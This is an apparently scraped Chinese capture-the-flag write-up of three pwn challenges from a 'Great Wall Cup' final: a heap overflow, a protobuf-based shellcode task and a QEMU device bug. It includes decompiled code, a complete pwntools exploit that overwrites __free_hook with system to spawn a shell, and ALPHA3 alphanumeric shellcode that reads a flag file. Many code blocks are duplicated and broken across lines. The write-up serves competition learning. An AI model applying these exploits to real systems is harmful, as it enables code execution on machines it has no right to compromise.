今年 第二届“长城杯”信息安全铁人三项赛(防护赛)总决赛
,一共 4道 pwn 题,我只打出其中三道题。
总的来说我解出的这三道题目还是比较简单的
一个堆题目,三个功能点,add delete show



这个函数看着比较复杂(我没看明白)

看不太明白 经过手动多次测试 这里是存在堆溢出的, 后面就简单了,构造堆块重叠泄露libc 和控制 fd ,申请到 free_hook 即可

溢出构造一个大堆块 free 后 进入 unsortedbin
, 再add 就可以堆块重叠了

比较简单
这题更是简单,直接秒了
有花指令,去掉之后可以看到正常的函数流程
可以设置 is_ne
的值(后续shellcode 的长度),还有泄露 elf 地址,


Shift + f1
调出 Local Tyes 然后 添加 一个新的结构体

再地址处 按y 修改类型,后续根据 name 和 type 来恢复 结构体用于交互


一个简单的 可见字符shellcode

动态调试获取 token,其实就是一个 RC4

我用ALPHA3 工具生成的 可见字符 shellcode
一道简单的 qemu pwn,感觉适合入门学习
附件 给了一个 docker 打包的镜像

把docker 里的 整个/home/ctf/
cp 出来,方便调试

直接用ida 打开 qemu-system-x86_64
,
白给的漏洞,没有限制 index 的大小,可以设置到 log_handler,泄露libc 然后修改dprintf 为 system 即可

调试




快要结束时,Pwn 方向 top 10.

unsigned
__int64
sub_12FD()
{
int
i;
unsigned
__int64
v2;
v2 = __readfsqword(0x28u);
for
( i = 0; i <= 15; ++i )
{
if
( qword_2020A8[2 * i] )
{
printf
(
"Data #%d:\n"
, i);
printf
(
"Data: %s\n"
, (
const
char
*)qword_2020A8[2 * i]);
}
}
return
__readfsqword(0x28u) ^ v2;
}
unsigned
__int64
sub_12FD()
{
int
i;
unsigned
__int64
v2;
v2 = __readfsqword(0x28u);
for
( i = 0; i <= 15; ++i )
{
if
( qword_2020A8[2 * i] )
{
printf
(
"Data #%d:\n"
, i);
printf
(
"Data: %s\n"
, (
const
char
*)qword_2020A8[2 * i]);
}
}
return
__readfsqword(0x28u) ^ v2;
}
unsigned
__int64
__fastcall sub_1141(
const
char
*a1)
{
char
*s1a;
int
i;
int
j;
unsigned
int
v6;
void
**v7;
unsigned
__int64
v8;
v8 = __readfsqword(0x28u);
for
( i = 0; ; a1 += (unsigned
int
)(i + 1) )
{
while
( a1[i] != 32 && a1[i] && a1[i] != 58 )
++i;
if
( !a1[i] )
break
;
if
( a1[i] != 32 )
{
a1[i] = 0;
if
( !
strcmp
(a1,
"index"
) )
{
s1a = (
char
*)&a1[i + 1];
for
( j = 0; s1a[j] != 32 && s1a[j]; ++j )
;
v6 =
atoi
(s1a);
if
( v6 <= 0xF )
{
v7 = (
void
**)((
char
*)&unk_2020A0 + 16 * v6);
if
( v7[1] )
{
free
(v7[1]);
v7[1] = 0LL;
*((_DWORD *)v7 + 1) = 0;
printf
(
"Deleted data #%d\n"
, v6);
}
else
{
puts
(
"No such data!"
);
}
}
else
{
puts
(
"Invalid index!"
);
}
}
else
{
puts
(
"Invalid argument"
);
}
return
__readfsqword(0x28u) ^ v8;
}
}
return
__readfsqword(0x28u) ^ v8;
}
unsigned
__int64
__fastcall sub_1141(
const
char
*a1)
{
char
*s1a;
int
i;
int
j;
unsigned
int
v6;
void
**v7;
unsigned
__int64
v8;
v8 = __readfsqword(0x28u);
for
( i = 0; ; a1 += (unsigned
int
)(i + 1) )
{
while
( a1[i] != 32 && a1[i] && a1[i] != 58 )
++i;
if
( !a1[i] )
break
;
if
( a1[i] != 32 )
{
a1[i] = 0;
if
( !
strcmp
(a1,
"index"
) )
{
s1a = (
char
*)&a1[i + 1];
for
( j = 0; s1a[j] != 32 && s1a[j]; ++j )
;
v6 =
atoi
(s1a);
if
( v6 <= 0xF )
{
v7 = (
void
**)((
char
*)&unk_2020A0 + 16 * v6);
if
( v7[1] )
{
free
(v7[1]);
v7[1] = 0LL;
*((_DWORD *)v7 + 1) = 0;
printf
(
"Deleted data #%d\n"
, v6);
}
else
{
puts
(
"No such data!"
);
}
}
else
{
puts
(
"Invalid index!"
);
}
}
else
{
puts
(
"Invalid argument"
);
}
return
__readfsqword(0x28u) ^ v8;
}
}
return
__readfsqword(0x28u) ^ v8;
}
pay
=
b
':title::subtitle:AAAABBBB'
add(pay)
pay
=
b
':title::subtitle:AAAABBBB'
add(pay)
from
pwn
import
*
s
=
lambda
x : io.send(x)
sa
=
lambda
x,y : io.sendafter(x,y)
sl
=
lambda
x : io.sendline(x)
sla
=
lambda
x,y : io.sendlineafter(x,y)
r
=
lambda
x : io.recv(x)
ru
=
lambda
x : io.recvuntil(x)
rl
=
lambda
: io.recvline()
itr
=
lambda
: io.interactive()
uu32
=
lambda
x : u32(x.ljust(
4
,b
'\x00'
))
uu64
=
lambda
x : u64(x.ljust(
8
,b
'\x00'
))
ls
=
lambda
x : log.success(x)
lss
=
lambda
x : ls(
'\033[1;31;40m%s -> 0x%x \033[0m'
%
(x,
eval
(x)))
attack
=
'10.10.1.112 111'
.replace(
' '
,
':'
)
binary
=
'./pwn'
def
start(argv
=
[],
*
a,
*
*
kw):
if
args.GDB:
return
gdb.debug(binary,gdbscript)
if
args.TAG:
return
remote(
*
args.TAG.split(
':'
))
if
args.REM:
return
remote(
*
attack.split(
':'
))
return
process([binary]
+
argv,
*
a,
*
*
kw)
context(binary
=
binary, log_level
=
'debug'
,
terminal
=
'tmux splitw -h -l 170'
.split(
' '
))
libc
=
context.binary.libc
gdbscript
=
.
format
(
*
*
locals
())
io
=
start([])
def
add(text):
ru(
'user@machine$'
)
pay1
=
b
'add data:'
+
text
sl(pay1)
def
rm(idx):
ru(
'user@machine$'
)
pay1
=
b
'delete index:'
+
str
(idx).encode()
sl(pay1)
def
show():
ru(
'user@machine$'
)
pay1
=
b
'show '
sl(pay1)
pay
=
b
'A'
*
0x27
add(pay)
add(b
'A'
*
0xF7
)
add(b
'HHHHHH1'
)
add(b
'HHHHHH2'
)
add(b
'B'
*
0xF7
)
add(b
'C'
*
0xF7
)
add(b
'D'
*
0xF7
)
add(b
'E'
*
(
0xF7
-
0x40
))
add(b
'F'
*
0xF7
)
add(b
'F'
*
0xF7
)
add(b
'F'
*
0xF7
)
add(b
'F'
*
0xF7
)
rm(
0
)
rm(
2
)
rm(
3
)
pay
=
b
':title:AAAAAAAAA:subtitle:A'
+
p32(
0x601
)
add(pay)
rm(
1
)
add(
0x4F7
*
b
'A'
)
show()
ru(
'Data #8:'
)
ru(
': '
)
libc_base
=
uu64(r(
6
))
-
0x3ebca0
lss(
'libc_base'
)
libc.address
=
libc_base
free_hook
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
rm(
1
)
add(b
'Y'
*
0x127
)
rm(
1
)
add(b
'Y'
*
0x126
)
rm(
1
)
add(b
'Y'
*
0x125
)
rm(
1
)
add(b
'Y'
*
0x120
+
p64(free_hook))
add(b
'/bin/sh'
)
add(p64(system))
rm(
2
)
itr()
from
pwn
import
*
s
=
lambda
x : io.send(x)
sa
=
lambda
x,y : io.sendafter(x,y)
sl
=
lambda
x : io.sendline(x)
sla
=
lambda
x,y : io.sendlineafter(x,y)
r
=
lambda
x : io.recv(x)
ru
=
lambda
x : io.recvuntil(x)
rl
=
lambda
: io.recvline()
itr
=
lambda
: io.interactive()
uu32
=
lambda
x : u32(x.ljust(
4
,b
'\x00'
))
uu64
=
lambda
x : u64(x.ljust(
8
,b
'\x00'
))
ls
=
lambda
x : log.success(x)
lss
=
lambda
x : ls(
'\033[1;31;40m%s -> 0x%x \033[0m'
%
(x,
eval
(x)))
attack
=
'10.10.1.112 111'
.replace(
' '
,
':'
)
binary
=
'./pwn'
def
start(argv
=
[],
*
a,
*
*
kw):
if
args.GDB:
return
gdb.debug(binary,gdbscript)
if
args.TAG:
return
remote(
*
args.TAG.split(
':'
))
if
args.REM:
return
remote(
*
attack.split(
':'
))
return
process([binary]
+
argv,
*
a,
*
*
kw)
context(binary
=
binary, log_level
=
'debug'
,
terminal
=
'tmux splitw -h -l 170'
.split(
' '
))
libc
=
context.binary.libc
gdbscript
=
.
format
(
*
*
locals
())
io
=
start([])
def
add(text):
ru(
'user@machine$'
)
pay1
=
b
'add data:'
+
text
sl(pay1)
def
rm(idx):
ru(
'user@machine$'
)
pay1
=
b
'delete index:'
+
str
(idx).encode()
sl(pay1)
def
show():
ru(
'user@machine$'
)
pay1
=
b
'show '
sl(pay1)
pay
=
b
'A'
*
0x27
add(pay)
add(b
'A'
*
0xF7
)
add(b
'HHHHHH1'
)
add(b
'HHHHHH2'
)
add(b
'B'
*
0xF7
)
add(b
'C'
*
0xF7
)
add(b
'D'
*
0xF7
)
add(b
'E'
*
(
0xF7
-
0x40
))
add(b
'F'
*
0xF7
)
add(b
'F'
*
0xF7
)
add(b
'F'
*
0xF7
)
add(b
'F'
*
0xF7
)
rm(
0
)
rm(
2
)
rm(
3
)
pay
=
b
':title:AAAAAAAAA:subtitle:A'
+
p32(
0x601
)
add(pay)
rm(
1
)
add(
0x4F7
*
b
'A'
)
show()
ru(
'Data #8:'
)
ru(
': '
)
libc_base
=
uu64(r(
6
))
-
0x3ebca0
lss(
'libc_base'
)
libc.address
=
libc_base
free_hook
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
rm(
1
)
add(b
'Y'
*
0x127
)
rm(
1
)
add(b
'Y'
*
0x126
)
rm(
1
)
add(b
'Y'
*
0x125
)
rm(
1
)
add(b
'Y'
*
0x120
+
p64(free_hook))
add(b
'/bin/sh'
)
add(p64(system))
rm(
2
)
itr()
struct
ProtobufCFieldDescriptor
{
char
*name;
int
id;
int
label;
int
type;
int
quantifier_offset;
int
offset;
__attribute__((packed)) __attribute__((aligned(1)))
__int64
descriptor;
__attribute__((packed)) __attribute__((aligned(1)))
__int64
default_value;
int
flags;
int
reserved_flags;
__int64
reserved2;
__int64
reserved3;
};
struct
ProtobufCFieldDescriptor
{
char
*name;
int
id;
int
label;
int
type;
int
quantifier_offset;
int
offset;
__attribute__((packed)) __attribute__((aligned(1)))
__int64
descriptor;
__attribute__((packed)) __attribute__((aligned(1)))
__int64
default_value;
int
flags;
int
reserved_flags;
__int64
reserved2;
__int64
reserved3;
};
.data.rel.ro:0000000000004B20 stru_4B20 dq offset aGiaoid ; name
.data.rel.ro:0000000000004B20 ; DATA XREF: .data.rel.ro:0000000000004C78↓o
.data.rel.ro:0000000000004B28 dd 1 ; id ;
"giaoid"
.data.rel.ro:0000000000004B2C dd 3 ; label
.data.rel.ro:0000000000004B30 dd 3 ; type
.data.rel.ro:0000000000004B34 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B38 dd 18h ; offset
.data.rel.ro:0000000000004B3C dq 0 ; descriptor
.data.rel.ro:0000000000004B44 dq 0 ; default_value
.data.rel.ro:0000000000004B4C dd 0 ; flags
.data.rel.ro:0000000000004B50 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B54 db 4 dup(0)
.data.rel.ro:0000000000004B58 dq 0 ; reserved2
.data.rel.ro:0000000000004B60 dq 0 ; reserved3
.data.rel.ro:0000000000004B68 ;
struct
ProtobufCFieldDescriptor ProtobufCFieldDescriptor
.data.rel.ro:0000000000004B68 ProtobufCFieldDescriptor dq offset aGiaosize ; name ;
"giaosize"
.data.rel.ro:0000000000004B70 dd 2 ; id
.data.rel.ro:0000000000004B74 dd 3 ; label
.data.rel.ro:0000000000004B78 dd 3 ; type
.data.rel.ro:0000000000004B7C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B80 dd 20h ; offset
.data.rel.ro:0000000000004B84 dq 0 ; descriptor
.data.rel.ro:0000000000004B8C dq 0 ; default_value
.data.rel.ro:0000000000004B94 dd 0 ; flags
.data.rel.ro:0000000000004B98 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B9C db 4 dup(0)
.data.rel.ro:0000000000004BA0 dq 0 ; reserved2
.data.rel.ro:0000000000004BA8 dq 0 ; reserved3
.data.rel.ro:0000000000004BB0 ;
struct
ProtobufCFieldDescriptor a1
.data.rel.ro:0000000000004BB0 a1 dq offset aGiaocontent ; name ;
"giaocontent"
.data.rel.ro:0000000000004BB8 dd 3 ; id
.data.rel.ro:0000000000004BBC dd 3 ; label
.data.rel.ro:0000000000004BC0 dd 0Fh ; type
.data.rel.ro:0000000000004BC4 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004BC8 dd 28h ; offset
.data.rel.ro:0000000000004BCC dq 0 ; descriptor
.data.rel.ro:0000000000004BD4 dq 0 ; default_value
.data.rel.ro:0000000000004BDC dd 0 ; flags
.data.rel.ro:0000000000004BE0 dd 0 ; reserved_flags
.data.rel.ro:0000000000004BE4 db 4 dup(0)
.data.rel.ro:0000000000004BE8 dq 0 ; reserved2
.data.rel.ro:0000000000004BF0 dq 0 ; reserved3
.data.rel.ro:0000000000004BF8 ;
struct
ProtobufCFieldDescriptor a2
.data.rel.ro:0000000000004BF8 a2 dq offset aGiaotoken ; name ;
"giaotoken"
.data.rel.ro:0000000000004C00 dd 4 ; id
.data.rel.ro:0000000000004C04 dd 3 ; label
.data.rel.ro:0000000000004C08 dd 0Fh ; type
.data.rel.ro:0000000000004C0C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004C10 dd 38h ; offset
.data.rel.ro:0000000000004C14 dq 0 ; descriptor
.data.rel.ro:0000000000004C1C dq 0 ; default_value
.data.rel.ro:0000000000004C24 dd 0 ; flags
.data.rel.ro:0000000000004C28 dd 0 ; reserved_flags
.data.rel.ro:0000000000004C2C db 4 dup(0)
.data.rel.ro:0000000000004C30 dq 0 ; reserved2
.data.rel.ro:0000000000004C38 dq 0 ; reserved3
.data.rel.ro:0000000000004B20 stru_4B20 dq offset aGiaoid ; name
.data.rel.ro:0000000000004B20 ; DATA XREF: .data.rel.ro:0000000000004C78↓o
.data.rel.ro:0000000000004B28 dd 1 ; id ;
"giaoid"
.data.rel.ro:0000000000004B2C dd 3 ; label
.data.rel.ro:0000000000004B30 dd 3 ; type
.data.rel.ro:0000000000004B34 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B38 dd 18h ; offset
.data.rel.ro:0000000000004B3C dq 0 ; descriptor
.data.rel.ro:0000000000004B44 dq 0 ; default_value
.data.rel.ro:0000000000004B4C dd 0 ; flags
.data.rel.ro:0000000000004B50 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B54 db 4 dup(0)
.data.rel.ro:0000000000004B58 dq 0 ; reserved2
.data.rel.ro:0000000000004B60 dq 0 ; reserved3
.data.rel.ro:0000000000004B68 ;
struct
ProtobufCFieldDescriptor ProtobufCFieldDescriptor
.data.rel.ro:0000000000004B68 ProtobufCFieldDescriptor dq offset aGiaosize ; name ;
"giaosize"
.data.rel.ro:0000000000004B70 dd 2 ; id
.data.rel.ro:0000000000004B74 dd 3 ; label
.data.rel.ro:0000000000004B78 dd 3 ; type
.data.rel.ro:0000000000004B7C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B80 dd 20h ; offset
.data.rel.ro:0000000000004B84 dq 0 ; descriptor
.data.rel.ro:0000000000004B8C dq 0 ; default_value
.data.rel.ro:0000000000004B94 dd 0 ; flags
.data.rel.ro:0000000000004B98 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B9C db 4 dup(0)
.data.rel.ro:0000000000004BA0 dq 0 ; reserved2
.data.rel.ro:0000000000004BA8 dq 0 ; reserved3
.data.rel.ro:0000000000004BB0 ;
struct
ProtobufCFieldDescriptor a1
.data.rel.ro:0000000000004BB0 a1 dq offset aGiaocontent ; name ;
"giaocontent"
.data.rel.ro:0000000000004BB8 dd 3 ; id
.data.rel.ro:0000000000004BBC dd 3 ; label
.data.rel.ro:0000000000004BC0 dd 0Fh ; type
.data.rel.ro:0000000000004BC4 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004BC8 dd 28h ; offset
.data.rel.ro:0000000000004BCC dq 0 ; descriptor
.data.rel.ro:0000000000004BD4 dq 0 ; default_value
.data.rel.ro:0000000000004BDC dd 0 ; flags
.data.rel.ro:0000000000004BE0 dd 0 ; reserved_flags
.data.rel.ro:0000000000004BE4 db 4 dup(0)
.data.rel.ro:0000000000004BE8 dq 0 ; reserved2
.data.rel.ro:0000000000004BF0 dq 0 ; reserved3
.data.rel.ro:0000000000004BF8 ;
struct
ProtobufCFieldDescriptor a2
.data.rel.ro:0000000000004BF8 a2 dq offset aGiaotoken ; name ;
"giaotoken"
.data.rel.ro:0000000000004C00 dd 4 ; id
.data.rel.ro:0000000000004C04 dd 3 ; label
.data.rel.ro:0000000000004C08 dd 0Fh ; type
.data.rel.ro:0000000000004C0C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004C10 dd 38h ; offset
.data.rel.ro:0000000000004C14 dq 0 ; descriptor
.data.rel.ro:0000000000004C1C dq 0 ; default_value
.data.rel.ro:0000000000004C24 dd 0 ; flags
.data.rel.ro:0000000000004C28 dd 0 ; reserved_flags
.data.rel.ro:0000000000004C2C db 4 dup(0)
.data.rel.ro:0000000000004C30 dq 0 ; reserved2
.data.rel.ro:0000000000004C38 dq 0 ; reserved3
数字 |
ProtobufCType |
数据类型 |
描述 |
0x00 |
PROTOBUF_C_TYPE_INT32 |
int32 |
32 位有符号整数 |
0x01 |
PROTOBUF_C_TYPE_SINT32 |
sint32 |
32 位有符号整数(ZigZag 编码) |
0x02 |
PROTOBUF_C_TYPE_SFIXED32 |
sfixed32 |
32 位固定长度有符号整数 |
0x03 |
PROTOBUF_C_TYPE_INT64 |
int64 |
64 位有符号整数 |
0x04 |
PROTOBUF_C_TYPE_SINT64 |
sint64 |
64 位有符号整数(ZigZag 编码) |
0x05 |
PROTOBUF_C_TYPE_SFIXED64 |
sfixed64 |
64 位固定长度有符号整数 |
0x06 |
PROTOBUF_C_TYPE_UINT32 |
uint32 |
32 位无符号整数 |
0x07 |
PROTOBUF_C_TYPE_FIXED32 |
fixed32 |
32 位固定长度无符号整数 |
0x08 |
PROTOBUF_C_TYPE_UINT64 |
uint64 |
64 位无符号整数 |
0x09 |
PROTOBUF_C_TYPE_FIXED64 |
fixed64 |
64 位固定长度无符号整数 |
0x0A |
PROTOBUF_C_TYPE_FLOAT |
float |
32 位浮点数 |
0x0B |
PROTOBUF_C_TYPE_DOUBLE |
double |
64 位浮点数 |
0x0C |
PROTOBUF_C_TYPE_BOOL |
bool |
布尔值 |
0x0D |
PROTOBUF_C_TYPE_ENUM |
enum |
枚举类型 |
0x0E |
PROTOBUF_C_TYPE_STRING |
string |
UTF-8 字符串 |
0x0F |
PROTOBUF_C_TYPE_BYTES |
bytes |
字节数组 |
0x10 |
PROTOBUF_C_TYPE_MESSAGE |
message |
嵌套消息类型 |
➜ MY_TEST cat
1.py
from
pwn
import
*
context.arch
=
'amd64'
sc
=
sc
=
asm(shellcraft.
open
(
'flag'
,
0
))
sc
+
=
asm(shellcraft.read(
'rax'
,
'rsp'
,
0x100
))
sc
+
=
asm(shellcraft.write(
1
,
'rsp'
,
0x100
))
open
(
'./alpha3/shellcode'
,
'wb'
).write(sc)
import
os
os.system(
'cd ./alpha3/ && python2 ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"'
)
➜ MY_TEST py
1.py
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0T2I0Q030z3P3G1P3r123V2p01187l0B0y3I3d0C3a133q3p03084y3G7n7m1m0m0o0s3r8O02114z4B0Z0B0k0n0403
➜ MY_TEST cat
1.py
from
pwn
import
*
context.arch
=
'amd64'
sc
=
sc
=
asm(shellcraft.
open
(
'flag'
,
0
))
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课